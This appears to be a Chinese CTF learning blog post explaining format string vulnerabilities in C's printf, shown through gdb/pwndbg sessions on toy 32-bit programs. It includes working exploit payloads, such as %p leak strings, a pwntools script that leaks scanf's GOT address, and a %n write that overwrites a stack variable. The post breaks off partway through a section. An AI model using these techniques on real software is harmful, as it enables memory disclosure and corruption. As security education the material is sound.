0x00 前言
主要参考《CTF权威指南(pwn篇)》和CTF-wiki
写了一些格式化字符串漏洞的基本原理,后续会补上几个实战的wp
0x01 格式化输出函数
变参函数
变参函数就是参数数量可变的函数。这种函数由固定数量的强制参数和数量可变的可选参数组成,强制性参数在前,可选参数在后。
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转为人类可读的字符串格式。
常见的格式化字符串函数
输入:
scanf
输出:
fprintf() 输出到指定FILE流,三个参数分别是流、格式化字符串和变量列表
printf 输出到stdout
格式化字符串
%[parameter][flags][field width][.precision][length]type
格式字符串是由普通字符(包括"%")和转换规则构成的字符序列。普通字符被原封不动地赋值到输出流中。转换规则则根据与实参对应地转换指示符对其进行转换,然后将结果写入输出流中。
一个转换规则由必须部分和可选部分组成。其中,只有转换指示符(type)是必选部分,用来表示转换类型。
(1)parameter,用于指定某个参数,例如%2$d,表示输出后面的第2个参数。
(2)flags,用来调整输出和打印的符号、空白、小数点等。
(3)width,用来指定输出字符的最小个数。
(4)precision,用来指示打印符号个数、小数位数或者有效数字个数。
(5)length,用来指定参数的大小。
常见的转换指示符和长度
指示符 类型 输出
%d 4-byte Integer
%d 4-byte Unsigned Integer
%x 4-byte Hex
%s 4-byte ptr String
%c 1-byte Character
长度 类型 输出
hh 1-byte char
h 2-byte short int
l 4-byte long int
ll 8-byte long long int
0x02 格式化字符串漏洞
#include
void main()
{
printf("%s %d %s","hello wordle",123,"\n");
}
gcc -m32 fmtdemo.c -o fmtdemo -g
pwndbg> disassemble main
Dump of assembler code for function main:
....
0x0000052b <+14>: push ecx
0x0000052c <+15>: call 0x562 <__x86.get_pc_thunk.ax>
0x00000531 <+20>: add eax,0x1aa7
0x00000536 <+25>: lea edx,[eax-0x19e8]
0x0000053c <+31>: push edx
0x0000053d <+32>: push 0x7b
0x0000053f <+34>: lea edx,[eax-0x19e6]
0x00000545 <+40>: push edx
0x00000546 <+41>: lea edx,[eax-0x19d9]
0x0000054c <+47>: push edx
0x0000054d <+48>: mov ebx,eax
0x0000054f <+50>: call 0x3b0
0x00000554 <+55>: add esp,0x10
...
End of assembler dump.
pwndbg> stack 30
00:0000│ esp 0xffffd00c —▸ 0x56555554 (main+55) ◂— add esp, 0x10
01:0004│ 0xffffd010 —▸ 0x565555ff ◂— and eax, 0x64252073 /* '%s %d %s' */
02:0008│ 0xffffd014 —▸ 0x565555f2 ◂— push 0x6f6c6c65 /* 'hello wordle' */
03:000c│ 0xffffd018 ◂— 0x7b /* '{' */
04:0010│ 0xffffd01c —▸ 0x565555f0 ◂— or al, byte ptr [eax] /* '\n' */
05:0014│ 0xffffd020 —▸ 0xffffd040 ◂— 0x1
进入printf函数之前,程序将参数从右向左一次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是“%”,那么字符串被直接赋值到输出。否则,读取下一个非空字符,获取相应的参数并解析输出。
修改一下上边的程序,为格式字符串加上"%x %x %x %3$s",使其出现格式化字符串漏洞
#include
void main()
{
printf("%s %d %s %x %x %x %3$s","hello world",223,"\n");
}
► 0xf7e2c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x56555554 (main+55) ◂— add esp, 0x10
arg[1]: 0x565555ff ◂— and eax, 0x64252073 /* '%s %d %s %x %x %x %3s$s' */
arg[2]: 0x565555f2 ◂— push 0x6f6c6c65 /* 'hello wordle' */
arg[3]: 0x7b
00:0000│ esp 0xffffd00c —▸ 0x56555557 (main+58) ◂— add esp, 0x10
01:0004│ 0xffffd010 —▸ 0x565555fe ◂— and eax, 0x64252073 /* '%s %d %s %x %x %x %3s$s' */
02:0008│ 0xffffd014 —▸ 0x565555f2 ◂— push 0x6f6c6c65 /* 'hello world' */
03:000c│ 0xffffd018 ◂— 0xdf
04:0010│ 0xffffd01c —▸ 0x565555f0 ◂— or al, byte ptr [eax] /* '\n' */
05:0014│ 0xffffd020 —▸ 0xffffd040 ◂— 0x1
06:0018│ 0xffffd024 ◂— 0x0
pwndbg> c
Continuing.
hello world 223
ffffd040 0 0
[Inferior 1 (process 38286) exited with code 040]
打印出七个值,而参数只有三个,所以后面的三个"%x"打印的是0xffffd020到0xffffd026的数据,而最后一个参数"%3$s"则是对第三个参数"\n"的重用。
再看一个例子,省去格式字符串,转而由外部输入提供
#include
void main()
{
char buf[50];
if(fgets(buf,sizeof buf,stdin) == NULL)
return;
printf(buf);
}
00:0000│ esp 0xffffcfbc —▸ 0x5655561f (main+82) ◂— add esp, 0x10
01:0004│ 0xffffcfc0 —▸ 0xffffcfda ◂— '"Hello %x %x %x !\\n"\n'
02:0008│ 0xffffcfc4 ◂— 0x32 /* '2' */
03:000c│ 0xffffcfc8 —▸ 0xf7fb35c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
04:0010│ 0xffffcfcc —▸ 0x565555e4 (main+23) ◂— add ebx, 0x19e8
05:0014│ 0xffffcfd0 ◂— 9 /* '\t' */
06:0018│ 0xffffcfd4 —▸ 0xffffd28f ◂— '/home/jason/CTF/ctf_wiki/string/fmtdemo1'
07:001c│ eax-2 ecx-2 0xffffcfd8 ◂— 0x4822b589
pwndbg> c
Continuing.
"Hello 32 f7fb35c0 565555e4 !\n"
[Inferior 1 (process 38390) exited normally]
在buf里输入一些转换指示符,那么printf()会把它当成格式字符串进行解析,漏洞由此发生,例如上面的输入''Hello %x %x %x !\n",程序就把栈数据泄露了出来。
格式化字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。
0x03 漏洞利用
对于格式化字符串漏洞的利用主要有:使程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖、任意地址内存覆盖。
使程序崩溃
通常,下面的格式化字符串即可崩溃。
原因:(1)对于每一个"%s",printf()都要从栈中获取一个数字,将其视为一个地址,然后打印出地址指向的内存,直到出现一个空字符。
(2)获取的某个数字可能并不是一个地址;
(3)获得的数字确实是一个地址,但该地址是受保护的。
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
泄露内存
泄露栈内存
一般会有如下几种操作
泄露栈内存
获取某个变量的值
获取某个变量对应地址的内存
泄露任意地址内存
利用GOT表得到libc函数地址,进而获取libc,进而获取其他libc函数地址
盲打,dump整个程序,获取有用信息。
#include
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
printf(s);
^
获取栈变量数值
首先,利用格式化字符串来获取栈上变量的数值。
>./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcbd090.f7f77410.0804849d
第二个printf函数输出了一些内容
gdb调试一下
► 0xf7e2c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x80484ea (main+100) ◂— add esp, 0x20
arg[1]: 0x8048593 ◂— and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
arg[2]: 0x1
arg[3]: 0x22222222 ('""""')
0xf7e2c435 add eax, 0x186bcb
0xf7e2c43a sub esp, 0xc
0xf7e2c43d mov eax, dword ptr [eax - 0x5c]
0xf7e2c443 lea edx, [esp + 0x14]
0xf7e2c447 sub esp, 4
0xf7e2c44a push edx
0xf7e2c44b push dword ptr [esp + 0x18]
0xf7e2c44f push dword ptr [eax]
0xf7e2c451 call vfprintf
0xf7e2c456 add esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf7c —▸ 0x80484ea (main+100) ◂— add esp, 0x20
01:0004│ 0xffffcf80 —▸ 0x8048593 ◂— and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│ 0xffffcf84 ◂— 0x1
03:000c│ 0xffffcf88 ◂— 0x22222222 ('""""')
04:0010│ 0xffffcf8c ◂— 0xffffffff
05:0014│ 0xffffcf90 —▸ 0xffffcfa0 ◂— '%08x.%08x.%08x'
... ↓
07:001c│ 0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
► f 0 f7e2c430 printf
f 1 80484ea main+100
f 2 f7df3f21 __libc_start_main+241
栈中的第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的地址,第四个变量为b的值,第五个变量为c的值,第六个变量为我们输入的格式化字符串对应的地址。
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
程序确实输出了每一个变量对应的数值,并且断在了下一个printf处。
► 0xf7e2c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x80484f9 (main+115) ◂— add esp, 0x10
arg[1]: 0xffffcfa0 ◂— '%08x.%08x.%08x'
arg[2]: 0xffffcfa0 ◂— '%08x.%08x.%08x'
arg[3]: 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
0xf7e2c435 add eax, 0x186bcb
0xf7e2c43a sub esp, 0xc
0xf7e2c43d mov eax, dword ptr [eax - 0x5c]
0xf7e2c443 lea edx, [esp + 0x14]
0xf7e2c447 sub esp, 4
0xf7e2c44a push edx
0xf7e2c44b push dword ptr [esp + 0x18]
0xf7e2c44f push dword ptr [eax]
0xf7e2c451 call vfprintf
0xf7e2c456 add esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcf90 —▸ 0xffffcfa0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│ 0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcf9c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfa0 ◂— '%08x.%08x.%08x'
06:0018│ 0xffffcfa4 ◂— '.%08x.%08x'
07:001c│ 0xffffcfa8 ◂— 'x.%08x'
pwndbg> x/20wx $esp
0xffffcf8c: 0x080484f9 0xffffcfa0 0xffffcfa0 0xf7fd0410
0xffffcf9c: 0x0804849d 0x78383025 0x3830252e 0x30252e78
0xffffcfac: 0x00007838 0x00000000 0x00c30000 0x00000000
0xffffcfbc: 0xf7ffd000 0x00000000 0x00000000 0x00000000
0xffffcfcc: 0xcef79800 0x00000009 0xffffd28b 0xf7e0b589
此时,由于格式化字符串为%x%x%x,所以,程序会将栈上的0xffffcf94及其之后的数值分别作为第一,第二,第三个参数按照int型进行解析,分别输出。继续运行,可以得到如下结果
pwndbg> c
Continuing.
ffffcfa0.f7fd0410.0804849d[Inferior 1 (process 41601) exited normally]
同样地,也可以用%p代替%08x来获取数据。
有没有办法直接获取栈中被视为第n+1个参数的值呢?
有,方法如下:
%n$x
比如要获得printf的第4个参数所对应的值
► 0xf7e2c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x80484f9 (main+115) ◂— add esp, 0x10
arg[1]: 0xffffcfa0 ◂— '%3$x'
arg[2]: 0xffffcfa0 ◂— '%3$x'
arg[3]: 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
0xf7e2c435 add eax, 0x186bcb
0xf7e2c43a sub esp, 0xc
0xf7e2c43d mov eax, dword ptr [eax - 0x5c]
0xf7e2c443 lea edx, [esp + 0x14]
0xf7e2c447 sub esp, 4
0xf7e2c44a push edx
0xf7e2c44b push dword ptr [esp + 0x18]
0xf7e2c44f push dword ptr [eax]
0xf7e2c451 call vfprintf
0xf7e2c456 add esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcf90 —▸ 0xffffcfa0 ◂— '%3$x'
... ↓
03:000c│ 0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcf9c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfa0 ◂— '%3$x'
06:0018│ 0xffffcfa4 ◂— 0x0
07:001c│ 0xffffcfa8 —▸ 0xf7ffd940 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
► f 0 f7e2c430 printf
f 1 80484f9 main+115
f 2 f7df3f21 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20wx $esp
0xffffcf8c: 0x080484f9 0xffffcfa0 0xffffcfa0 0xf7fd0410
0xffffcf9c: 0x0804849d 0x78243325 0x00000000 0xf7ffd940
0xffffcfac: 0x000000c2 0x00000000 0x00c30000 0x00000000
0xffffcfbc: 0xf7ffd000 0x00000000 0x00000000 0x00000000
0xffffcfcc: 0x6699d200 0x00000009 0xffffd28b 0xf7e0b589
pwndbg> c
Continuing.
804849d[Inferior 1 (process 41830) exited normally]
的确获得了printf的第4个参数所对应的值804849d
获取栈变量对应字符串
获得栈变量对应的字符串,这其实就是需要用到%s了。
► 0xf7e2c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x80484f9 (main+115) ◂— add esp, 0x10
arg[1]: 0xffffcfa0 ◂— 0x7325 /* '%s' */
arg[2]: 0xffffcfa0 ◂— 0x7325 /* '%s' */
arg[3]: 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
0xf7e2c435 add eax, 0x186bcb
0xf7e2c43a sub esp, 0xc
0xf7e2c43d mov eax, dword ptr [eax - 0x5c]
0xf7e2c443 lea edx, [esp + 0x14]
0xf7e2c447 sub esp, 4
0xf7e2c44a push edx
0xf7e2c44b push dword ptr [esp + 0x18]
0xf7e2c44f push dword ptr [eax]
0xf7e2c451 call vfprintf
0xf7e2c456 add esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcf90 —▸ 0xffffcfa0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│ 0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcf9c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfa0 ◂— 0x7325 /* '%s' */
06:0018│ 0xffffcfa4 ◂— 0x1
07:001c│ 0xffffcfa8 —▸ 0xf7ffd940 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
► f 0 f7e2c430 printf
f 1 80484f9 main+115
f 2 f7df3f21 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
%s[Inferior 1 (process 41904) exited normally]
第二次执行printf时,将0xffffcfa0处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。
当然,如果对应的变量不是字符串的地址,那么,程序就会直接崩溃
:~/CTF/ctf_wiki/string$ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段错误
小技巧总结
a.利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
b.利用%s来获取变量所对应的内容,只不过有零阶段。
c.利用%orders来获取指定参数对应地址的内容。
泄露任意地址内存
泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。
一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例。
00:0000│ esp 0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcf90 —▸ 0xffffcfa0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│ 0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcf9c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfa0 ◂— 0x7325 /* '%s' */
06:0018│ 0xffffcfa4 ◂— 0x1
07:001c│ 0xffffcfa8 —▸ 0xf7ffd940 ◂— 0x0
栈上的第二个变量就是格式化字符串地址0xffffcfa0,同时该地址存储的也确实是"%s"格式化字符串内容。
由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第k个参数。那我们就可以通过如下的方式来获取某个指定地址addr的内容.
addr%k$s
下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定
[tag]%p%p%p%p%p...
如下:
./leakmemory
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
00000001.22222222.ffffffff.AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffa5c6c0.0xf7f82410.0x804849d.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
由0x41414141处所在的位置可以看出我们的格式化字符串的其实地址正好是输出函数的第5个参数,但是是格式化字符串第4个参数。可以测试一下
./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段错误
崩溃了?因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了。参考如下调试:
→ 0xf7e44670 call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce → add esp, 0x10 ← $esp
0xffffcd10│+0x04: 0xffffcd20 → "%4$s"
0xffffcd14│+0x08: 0xffffcd20 → "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb → add esp, 0x10
0xffffcd20│+0x14: "%4$s" ← $eax
0xffffcd24│+0x18: 0xffffce00 → 0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤ help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string)
and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.
Defaults for format and size letters are those previously used.
Default count is 1. Default address is following last thing printed
with this command or "print".
gef➤ x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤ x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425
如果我们设置一个可访问的地址呢?比如scanf@got,结果自然是输出scanf对应的地址了。
首先,获取scanf@got的地址,如下:
got
GOT protection: Partial RELRO | GOT functions: 3
[0x804a00c] printf@GLIBC_2.0 -> 0x8048336 (printf@plt+6) ◂— push 0 /* 'h' */
[0x804a010] __libc_start_main@GLIBC_2.0 -> 0xf7df3e30 (__libc_start_main) ◂— call 0xf7f122c9
[0x804a014] __isoc99_scanf@GLIBC_2.7 -> 0x8048356 (__isoc99_scanf@plt+6) ◂— push 0x10
利用pwntools 构造tools如下:
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
► 0xf7d3c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x80484f9 (main+115) ◂— add esp, 0x10
arg[1]: 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push ebp
arg[2]: 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push ebp
arg[3]: 0xf7ee0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
0xf7d3c435 add eax, 0x186bcb
0xf7d3c43a sub esp, 0xc
0xf7d3c43d mov eax, dword ptr [eax - 0x5c]
0xf7d3c443 lea edx, [esp + 0x14]
0xf7d3c447 sub esp, 4
0xf7d3c44a push edx
0xf7d3c44b push dword ptr [esp + 0x18]
0xf7d3c44f push dword ptr [eax]
0xf7d3c451 call vfprintf
0xf7d3c456 add esp, 0x1c
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ esp 0xffd7f10c —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffd7f110 —▸ 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push ebp
... ↓
03:000c│ 0xffd7f118 —▸ 0xf7ee0410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffd7f11c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push ebp
06:0018│ 0xffd7f124 ◂— '%4$s'
07:001c│ 0xffd7f128 —▸ 0xf7f0d900 (catch_hook) ◂— 0x0
此时,在我们运行的terminal下:
python2 exp.py
[+] Starting local process './leakmemory': pid 42723
[*] '/home/jason/CTF/ctf_wiki/string/leakmemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x804a014
\x14\x04%4$s
[*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 42723
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
0xf7d4ed10
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 42723)
[*] Got EOF while reading in interactive
确实得到了scanf的地址。
但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们相应打印的地址内容的地址位于机器字长整数倍的地址处。
覆盖内存
有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢?答案是可行的,只要变量对应的地址可写,就可以利用格式化字符串来修改其对应的数值。
%n ,不输出字符,到那时把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
通过这个类型参数,再加上一些小技巧,即可达到目的。
这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。
/* example/overflow/overflow.c */
#include
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
makefile在对应的文件夹中。而无论是覆盖哪个地址的变量,基本上都是构造类似如下的payload
...[overwrite addr]...%[overwrite offset]$n
其中...表示我们的填充内容,overwrite addr表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
(1)确定覆盖地址 (2)确定相对偏移 (3)进行覆盖
覆盖栈内存
确定覆盖地址
首先,需要确定变量c的地址,这里故意输出了c变量的地址。
确定相对偏移
其次,确定存储格式化字符串的printf将要输出的第几个参数()。通过之前绣楼栈变量数值的方法来进行操作。通过调试
► 0xf7e2c430 call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
arg[0]: 0x80484dd (main+55) ◂— add esp, 0x10
arg[1]: 0x80485f0 ◂— and eax, 0x25000a70 /* '%p\n' */
arg[2]: 0xffffd04c ◂— 0x315
arg[3]: 0xf7fd0410 —▸ 0x804828d ◂— inc edi /* 'GLIBC_2.0' */
0xf7e2c435 add eax, 0x186bcb
0xf7e2c43a sub esp, 0xc
0xf7e2c43d mov eax, dword ptr [eax - 0x5c]
0xf7e2c443 lea edx, [esp + 0x14]
0xf7e2c447 sub esp, 4
0xf7e2c44a push edx
0xf7e2c44b push dword ptr [esp + 0x18]
0xf7e2c44f push dword ptr [eax]
0xf7e2c451 call vfprintf
0xf7e2c456 add esp, 0x1c
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffcfcc —▸ 0x80484dd (main+55) ◂— add esp, 0x10
01:0004│ 0xffffcfd0 —▸ 0x80485f0 ◂— and eax, 0x25000a70 /* '%p\n' */
02:0008│ 0xffffcfd4 —▸ 0xffffd04c ◂— 0x315
03:000c│ 0xffffcfd8 —▸ 0xf7fd0410 —▸ 0x804828d ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfdc —▸ 0x80484bd (main+23) ◂— add ebx, 0x1b43
05:0014│ 0xffffcfe0 ◂— 0x0
06:0018│ 0xffffcfe4 ◂— 0x1
07:001c│ 0xffffcfe8 —▸ 0xf7ffd940 ◂— 0x0
在0xffffd04c处存储着变量c的数值。
继而,确定格式化字符串'%d%d'的地址0xffffcfe8相对于printf函数的格式化字符串参数0xffffcfd0的偏移为0x18。
pwndbg> stack 30
00:0000│ esp 0xffffcfcc —▸ 0x8048502 (main+92) ◂— add esp, 0x10
01:0004│ 0xffffcfd0 —▸ 0xffffcfe8 ◂— '%d%d'
... ↓
03:000c│ 0xffffcfd8 —▸ 0xf7fd0410 —▸ 0x804828d ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfdc —▸ 0x80484bd (main+23) ◂— add ebx, 0x1b43
05:0014│ 0xffffcfe0 ◂— 0x0
06:0018│ 0xffffcfe4 ◂— 0x1
07:001c│ eax 0xffffcfe8 ◂— '%d%d'
08:0020│ 0xffffcfec ◂— 0x0
即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第六个参数。
进行覆盖
这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下
[addr of c]%012d%6$n
addr of c的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于修改c的值为16.
脚本如下:
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
forc()
结果如下:
[+] Starting local process './overflow': pid 4699
0xfff8e73c
<���%012d%6$n
[*] Process './overflow' stopped with exit code 0 (pid 4699)
<���-00000465192modified c.
ps:我在调试这个的时候,运行之后会直接断在第二个printf的位置,在执行完了这个printf之后呢,果然将c改为了16.
覆盖任意地址内存
覆盖小数字
如何修改data段的变量为一个较小的数字,比如,小于机器字长的数字。
如果还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节.
显然,无论之后如何输出,都只会比4大。
